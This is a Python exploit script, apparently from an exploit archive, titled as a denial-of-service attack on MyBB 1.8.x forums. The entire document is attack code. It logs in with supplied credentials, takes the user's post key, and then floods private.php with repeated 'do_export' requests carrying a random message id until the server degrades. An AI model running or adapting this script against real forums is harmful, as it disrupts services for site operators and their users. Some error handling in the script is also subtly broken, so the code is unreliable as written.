MyBB 1.8.x Denial of Service Attack

#!/usr/bin/env python3
import sys
import requests
import argparse
import random
import time


def main(argv):
    global target, user, password
    parser = argparse.ArgumentParser(
        description='MyBB Denial of Service Attack - 1.8.x')
    parser.add_argument('-t', '--target', help='target url', required=True)
    parser.add_argument('-p', '--password', help='password', required=True)
    parser.add_argument('-u', '--user', help='user', required=True)
    args = parser.parse_args()

    target = args.target
    user = args.user
    password = args.password


if __name__ == "__main__":
    main(sys.argv[1:])

try:
    r0 = requests.get(target + 'inc/init.php')

except (requests.ConnectionError,requests.ConnectTimeout) as error:

    print("Target is not MyBB!")
    sys.exit()

print("Target is MyBB!")

url0 = target + 'member.php'

payload = {'action': 'do_login', 'url': target, 'quick_login': '1', 'quick_username' : user, 'quick_password' : password, 'submit' : 'Login'}

session = requests.session()

r0_1 = session.post(url0, data=payload)

with r0_1 as login:

    if "<!-- end: redirect -->" not in login.text:

        sys.exit("Login Failed! or may CAPTCHA")


mypostkey = input('Input Post Key -> ')

try:

    if mypostkey != int(mypostkey):

        time.sleep(2)

        print("OK..")

except ValueError:

    sys.exit("Wrong POST Key!")


value = input('Max number of concurrent HTTP(s) requests -> ')

try:

    intvalue = random.randint(1000000, int(value)*123456789)

except ValueError:

    sys.exit("Input Integer Value!")

url1 = target + 'private.php'

payload1 = {'my_post_key': mypostkey, 'pmid': intvalue, 'action': 'do_export'}

cookies = r0_1.cookies.get_dict()

def request():

    r1 = requests.post(url1, data=payload1, cookies=cookies)

    return r1


def exploit():

    global value

    value = int(value)

    while True:

        if value > 0:

            print("exploit running..")

            try:

                request()

            except error:

                sys.exit("Request Timed Out!")

            value = value - 1

        else:

            sys.exit("Done!")


sta_code = request().status_code

if sta_code != 503:

    sys.exit("Opps.. :(")

else:

    print("Vuln Found!!")

    time.sleep(2)

    print("There we goo!..\n")

    print("exploit running.. | value ->", intvalue)

    try:

        exploit()

    except KeyboardInterrupt as error2:

        sys.exit("\nExiting..")

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